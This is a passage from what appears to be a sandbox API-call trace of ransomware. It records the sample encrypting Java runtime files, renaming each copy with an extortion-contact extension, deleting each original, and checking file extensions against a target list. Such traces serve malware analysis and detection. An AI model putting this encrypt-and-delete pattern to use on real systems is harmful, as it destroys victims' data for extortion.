lpOverlapped=0x0) returned 1 [0147.981] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x32850, lpOverlapped=0x0) returned 1 [0147.984] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.984] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0147.984] SetEndOfFile (hFile=0x350) returned 1 [0148.353] CloseHandle (hObject=0x350) returned 1 [0148.353] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.353] SetEndOfFile (hFile=0x34c) returned 1 [0148.355] CloseHandle (hObject=0x34c) returned 1 [0148.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.355] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.355] lstrlenW (lpString=".doc") returned 4 [0148.355] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.355] lstrlenW (lpString=".docx") returned 5 [0148.355] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0148.355] lstrlenW (lpString=".pdf") returned 4 [0148.355] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString=".xls") returned 4 [0148.356] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString=".xlsx") returned 5 [0148.356] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0148.356] lstrlenW (lpString=".ppt") returned 4 [0148.356] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.356] lstrlenW (lpString=".zip") returned 4 [0148.356] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString=".rar") returned 4 [0148.356] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString=".bz2") returned 4 [0148.356] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.356] lstrlenW (lpString=".7z") returned 3 [0148.356] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.356] lstrlenW (lpString=".dbf") returned 4 [0148.356] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.356] lstrlenW (lpString=".1cd") returned 4 [0148.356] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.356] lstrlenW (lpString=".jpg") returned 4 [0148.356] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.356] lstrlenW (lpString=".doc") returned 4 [0148.356] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.356] lstrlenW (lpString=".docx") returned 5 [0148.356] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0148.356] lstrlenW (lpString=".pdf") returned 4 [0148.356] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.356] lstrlenW (lpString=".xls") returned 4 [0148.356] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.357] lstrlenW (lpString=".xlsx") returned 5 [0148.357] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0148.357] lstrlenW (lpString=".ppt") returned 4 [0148.357] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.357] lstrlenW (lpString=".zip") returned 4 [0148.357] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.357] lstrlenW (lpString=".rar") returned 4 [0148.357] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.357] lstrlenW (lpString=".bz2") returned 4 [0148.357] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.357] lstrlenW (lpString=".7z") returned 3 [0148.357] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.357] lstrlenW (lpString=".dbf") returned 4 [0148.357] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.357] lstrlenW (lpString=".1cd") returned 4 [0148.357] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0148.357] lstrlenW (lpString=".jpg") returned 4 [0148.357] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.357] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.357] lstrlenW (lpString="java_crw_demo.dll") returned 17 [0148.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.358] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=29760) returned 1 [0148.358] CloseHandle (hObject=0x34c) returned 1 [0148.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0148.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.358] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.358] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.359] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0148.359] GetLastError () returned 0x0 [0148.359] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x7440, lpOverlapped=0x0) returned 1 [0148.386] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x7450, lpOverlapped=0x0) returned 1 [0148.387] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.387] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.388] SetEndOfFile (hFile=0x350) returned 1 [0148.388] CloseHandle (hObject=0x350) returned 1 [0148.388] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.388] SetEndOfFile (hFile=0x34c) returned 1 [0148.389] CloseHandle (hObject=0x34c) returned 1 [0148.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.389] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0148.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.389] lstrlenW (lpString=".doc") returned 4 [0148.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.389] lstrlenW (lpString=".docx") returned 5 [0148.389] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0148.389] lstrlenW (lpString=".pdf") returned 4 [0148.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.389] lstrlenW (lpString=".xls") returned 4 [0148.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.389] lstrlenW (lpString=".xlsx") returned 5 [0148.389] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0148.389] lstrlenW (lpString=".ppt") returned 4 [0148.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.389] lstrlenW (lpString=".zip") returned 4 [0148.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.389] lstrlenW (lpString=".rar") returned 4 [0148.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString=".bz2") returned 4 [0148.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.390] lstrlenW (lpString=".7z") returned 3 [0148.390] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.390] lstrlenW (lpString=".dbf") returned 4 [0148.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.390] lstrlenW (lpString=".1cd") returned 4 [0148.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.390] lstrlenW (lpString=".jpg") returned 4 [0148.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.390] lstrlenW (lpString=".doc") returned 4 [0148.390] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString=".docx") returned 5 [0148.390] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0148.390] lstrlenW (lpString=".pdf") returned 4 [0148.390] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString=".xls") returned 4 [0148.390] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString=".xlsx") returned 5 [0148.390] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0148.390] lstrlenW (lpString=".ppt") returned 4 [0148.390] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.390] lstrlenW (lpString=".zip") returned 4 [0148.390] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString=".rar") returned 4 [0148.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.390] lstrlenW (lpString=".bz2") returned 4 [0148.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.390] lstrlenW (lpString=".7z") returned 3 [0148.391] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.391] lstrlenW (lpString=".dbf") returned 4 [0148.391] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.391] lstrlenW (lpString=".1cd") returned 4 [0148.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0148.391] lstrlenW (lpString=".jpg") returned 4 [0148.391] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.391] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.391] lstrlenW (lpString="jdwp.dll") returned 8 [0148.391] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.391] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=201792) returned 1 [0148.391] CloseHandle (hObject=0x34c) returned 1 [0148.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0148.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.392] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.392] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0148.392] GetLastError () returned 0x0 [0148.392] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x31440, lpOverlapped=0x0) returned 1 [0148.407] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x31450, lpOverlapped=0x0) returned 1 [0148.410] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.410] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.410] SetEndOfFile (hFile=0x350) returned 1 [0148.410] CloseHandle (hObject=0x350) returned 1 [0148.410] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.410] SetEndOfFile (hFile=0x34c) returned 1 [0148.412] CloseHandle (hObject=0x34c) returned 1 [0148.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.412] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0148.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.413] lstrlenW (lpString=".doc") returned 4 [0148.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.413] lstrlenW (lpString=".docx") returned 5 [0148.413] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0148.413] lstrlenW (lpString=".pdf") returned 4 [0148.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.413] lstrlenW (lpString=".xls") returned 4 [0148.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.413] lstrlenW (lpString=".xlsx") returned 5 [0148.413] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0148.413] lstrlenW (lpString=".ppt") returned 4 [0148.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.413] lstrlenW (lpString=".zip") returned 4 [0148.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.413] lstrlenW (lpString=".rar") returned 4 [0148.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.413] lstrlenW (lpString=".bz2") returned 4 [0148.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.413] lstrlenW (lpString=".7z") returned 3 [0148.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.413] lstrlenW (lpString=".dbf") returned 4 [0148.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.413] lstrlenW (lpString=".1cd") returned 4 [0148.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString=".jpg") returned 4 [0148.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString=".doc") returned 4 [0148.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString=".docx") returned 5 [0148.414] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0148.414] lstrlenW (lpString=".pdf") returned 4 [0148.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString=".xls") returned 4 [0148.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString=".xlsx") returned 5 [0148.414] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0148.414] lstrlenW (lpString=".ppt") returned 4 [0148.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString=".zip") returned 4 [0148.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString=".rar") returned 4 [0148.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.414] lstrlenW (lpString=".bz2") returned 4 [0148.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.414] lstrlenW (lpString=".7z") returned 3 [0148.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString=".dbf") returned 4 [0148.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString=".1cd") returned 4 [0148.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0148.414] lstrlenW (lpString=".jpg") returned 4 [0148.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.415] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.415] lstrlenW (lpString="jfr.dll") returned 7 [0148.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.415] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=26688) returned 1 [0148.415] CloseHandle (hObject=0x34c) returned 1 [0148.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0148.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.415] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.415] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0148.416] GetLastError () returned 0x0 [0148.416] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x6840, lpOverlapped=0x0) returned 1 [0148.422] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x6850, lpOverlapped=0x0) returned 1 [0148.423] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.423] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1 [0148.423] SetEndOfFile (hFile=0x350) returned 1 [0148.424] CloseHandle (hObject=0x350) returned 1 [0148.424] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.424] SetEndOfFile (hFile=0x34c) returned 1 [0148.424] CloseHandle (hObject=0x34c) returned 1 [0148.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.425] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0148.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.425] lstrlenW (lpString=".doc") returned 4 [0148.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.425] lstrlenW (lpString=".docx") 